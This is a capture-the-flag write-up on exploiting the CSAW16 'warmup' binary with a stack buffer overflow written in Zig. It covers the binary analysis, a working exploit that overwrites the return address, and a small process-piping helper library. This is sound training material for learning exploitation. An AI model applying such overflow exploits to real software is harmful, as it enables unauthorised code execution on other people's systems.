|---------------------------------------------------------------------------|
|-------------------------Exploit development with zig----------------------|
|-------------------------------and nightmare-------------------------------|
|---------------------------------------------------------------------------|
24 April 2021
--[Table of content
1. Module 05-bof-callfunction Challenge 1- Csaw16 warmup
2. Simple barebones library
3. Code
Challenge 1- Csaw16 warmup
----------------------------------------------------------------------
Lets start by analyzing the binary and check what mitigations it has
❯ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.24, BuildID[sha1]=ab209f3b8a3c2902e1a2ecd5bb06e258b45605a4, not stripped
❯ pwn checksec warmup
[*] '/home/void/nightmare/modules/05-bof_callfunction/csaw16_warmup/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
So the binary is 64 bit with NX bit enabled.
Lets run it and see what it does
❯ ./warmup
-Warm Up-
WOW:0x40060d
>hello world AAAAAAAAA
It prints a hex number, asks for input and exit.
Let's fire up radare2 and check the binary
[0x7f340a25c050]> afl
0x00400520 1 41 entry0
0x004004e0 1 6 sym.imp.__libc_start_main
0x00400550 4 41 sym.deregister_tm_clones
0x00400580 4 57 sym.register_tm_clones
0x004005c0 3 28 sym.__do_global_dtors_aux
0x004005e0 4 45 -> 42 entry.init0
0x00400720 1 2 sym.__libc_csu_fini
0x00400724 1 9 sym._fini
0x004006b0 4 101 sym.__libc_csu_init
0x0040060d 1 16 sym.easy
0x004004d0 1 6 sym.imp.system
0x0040061d 1 136 main
0x004004c0 1 6 sym.imp.write
0x00400510 1 6 sym.imp.sprintf
0x00400500 1 6 sym.imp.gets
0x00400488 3 26 sym._init
0x004004f0 1 6 loc.imp.__gmon_start__
soo there ius a new function called sym.easy that has the same address
as the hex number
Lets see what the binary does
void main(void){
int64_t var_80h;
int64_t var_40h;
sym.imp.write(1, "-Warm Up-\n", 10);
sym.imp.write(1, "WOW:", 4);
sym.imp.sprintf(&var_80h, 0x400751, sym.easy);
sym.imp.write(1, &var_80h, 9);
sym.imp.write(1, 0x400755, 1);
sym.imp.gets(&var_40h);
return;
}
A good thing that i discovered about radare is that the variable name
tells its offset from rbp. Soo keeping the variable name in mind, we
can show how the stack looks like
+----------------+
| var_80h |
+----------------+
| var_40h |
+----------------+
| saved rbp addr |
+----------------+
| return address |
+----------------+
We want to overwrite the return address with our own address.
Also, the address size on 64 bit is 8 byte. Keeping all this in mind,
we can now see what our exploit might look like.
Soo now lets see the code. You probably guessed it, there isnt much
change in the code, except padding size,address, size of the buffer
'addr', u32 in std.mem.writeIntSlice being u64.
Lets run our exploit and check if it is correct
❯ zig run shit.zig
Trying to open ./warmup%
-Warm Up-
WOW:0x40060d
>flag{g0ttem_b0yz}
AND IT WORKED!!
Simple barebones library
----------------------------------------------------------------------
To make our and everyone else's life better, we should write a library,
Let's do it!
We just want this library to be barebones for now as we really dont
care about cool features of pwntools.
lets make 2 files, called pipes.zig and pack.zig
in pack.zig, we will make a small function called pack
pub fn pack(comptime T: type, buff: []u8, value: T, endian: builtin.Endian) void {
std.mem.writeIntSlice(T, buff[0..], value, endian);
}
Now, in pipes.zig, lets make some functions
pub fn openLocal(fileArgs: []const []const u8, alloc: *std.mem.Allocator) !*std.ChildProcess {
try std.io.getStdOut().writer().print("Trying to open: {s}", .{fileArgs[0]});
var proc = try std.ChildProcess.init(fileArgs, alloc);
return proc;
}
pub fn LocalSendline(proc: *std.ChildProcess, value: []const u8) !void {
_ = try proc.stdin.?.write(value);
}
pub fn LocalSendArraylist(proc: *std.ChildProcess, arry: std.ArrayList(u8)) !void {
try proc.stdin.?.writer().print("{s}", .{arry.items});
}
pub fn LocalReadline(proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: u64) !?[]u8 {
return try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max);
}
We defined 4 functions here:
- openLocal -> Open a binary and return it
- LocalSendline -> send a []u8 to process.
- LocalSendArraylist -> send items of arraylist to the process
- LocalReadline -> read until a delimiter from the process's stdout
this looks good enough for today, we will be using this library for everything now.
Code
----------------------------------------------------------------------
Exploit Code:
const std = @import("std");
pub fn main() anyerror!void {
var gpa = std.heap.GeneralPurposeAllocator(.{}){};
defer _ = gpa.deinit();
var arena = std.heap.ArenaAllocator.init(&gpa.allocator);
var alloc = &arena.allocator;
defer arena.deinit();
try std.io.getStdOut().writer().print("Trying to open ./warmup", .{});
var proc = try std.ChildProcess.init(&[_][]const u8{"./warmup"}, alloc);
proc.stdin_behavior = .Pipe;
proc.stdout_behavior = .Inherit;
try proc.spawn();
var addr: [8]u8 = undefined;
std.mem.writeIntSlice(
u64,
addr[0..],
0x40060d,
std.builtin.Endian.Little,
);
try proc.stdin.?.writer().print("{s}{s}\n", .{ "0" ** 0x48, addr[0..] });
}
pipes.zig:
const testing = std.testing;
const std = @import("std");
const ArrayList = std.ArrayList;
const File = std.fs.File;
const mem = std.mem;
const net = std.net;
pub fn openLocal(fileArgs: []const []const u8, alloc: *std.mem.Allocator) !*std.ChildProcess {
try std.io.getStdOut().writer().print("Trying to open: {s}", .{fileArgs[0]});
var proc = try std.ChildProcess.init(fileArgs, alloc);
return proc;
}
pub fn LocalSendline(proc: *std.ChildProcess, value: []const u8) !void {
_ = try proc.stdin.?.write(value);
}
pub fn LocalSendArraylist(proc: *std.ChildProcess, arry: std.ArrayList(u8)) !void {
try proc.stdin.?.writer().print("{s}", .{arry.items});
}
pub fn LocalReadline(proc: *std.ChildProcess, alloc: *std.mem.Allocator, delimiter: u8, max: u64) !?[]u8 {
return try proc.stdout.?.reader().readUntilDelimiterOrEofAlloc(alloc, delimiter, max);
}
pack.zig:
const std = @import("std");
const builtin = std.builtin;
const testing = std.testing;
pub fn pack(comptime T: type, buff: []u8, value: T, endian: builtin.Endian) void {
std.mem.writeIntSlice(T, buff[0..], value, endian);
}